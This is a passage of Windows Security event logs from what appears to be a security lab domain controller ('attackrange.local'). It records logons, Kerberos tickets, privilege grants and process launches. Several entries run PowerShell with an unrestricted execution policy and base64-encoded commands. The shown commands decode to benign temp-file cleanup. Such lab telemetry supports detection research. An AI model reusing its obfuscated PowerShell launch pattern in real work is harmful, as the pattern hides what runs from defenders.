SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253212 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199313 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253211 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253210 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253209 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253208 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1992F3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253207 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1992F3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253206 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1992F3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253205 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253204 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253203 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253202 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x198C48 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253201 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x198566 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253200 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1971F3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253199 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1048 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC163.tmp" "c:\Users\Administrator\AppData\Local\Temp\nuev5fg2\CSC4328FDA223294D16A8BDBC3CB7BA28B7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253198 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1048 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\nuev5fg2\nuev5fg2.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1380 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12cc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAxADgALgA5ADQAMAA5ADAANAAtADgANwA2ADYANwAxADUAMAAxADQAMQA0ADYANQAiACAALQBGAG8AcgBjAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253272 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BC93 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253271 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19BC93 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253270 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253269 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E6A8EE06-5CA4-8D60-5EBC-6FEBCEAD3845} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253268 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12cc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13f4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAGcAQQB4AEEARABnAEEATABnAEEANQBBAEQAUQBBAE0AQQBBADUAQQBEAEEAQQBOAEEAQQB0AEEARABnAEEATgB3AEEAMgBBAEQAWQBBAE4AdwBBAHgAQQBEAFUAQQBNAEEAQQB4AEEARABRAEEATQBRAEEAMABBAEQAWQBBAE4AUQBBAGkAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAHQAQQBGAEkAQQBaAFEAQgBqAEEASABVAEEAYwBnAEIAegBBAEcAVQBBAE8AdwBBAEsAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEATABRAEIAdQBBAEcAOABBAGQAQQBBAGcAQQBDAFEAQQBQAHcAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBDADAAQQBSAFEAQgB5AEEASABJAEEAYgB3AEIAeQBBAEUARQBBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAVQB3AEIAcABBAEcAdwBBAFoAUQBCAHUAQQBIAFEAQQBiAEEAQgA1AEEARQBNAEEAYgB3AEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBIAFUAQQBaAFEAQQBwAEEAQwBBAEEAZQB3AEEAZwBBAEcAVQBBAGUAQQBCAHAAQQBIAFEAQQBJAEEAQQBrAEEARQB3AEEAUQBRAEIAVABBAEYAUQBBAFIAUQBCAFkAQQBFAGsAQQBWAEEAQgBEAEEARQA4AEEAUgBBAEIARgBBAEMAQQBBAGYAUQBBAGcAQQBFAFUAQQBiAEEAQgB6AEEARwBVAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEARABFAEEASQBBAEIAOQBBAEMAQQBBAGYAUQBBAD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253266 -Keywords=Audit 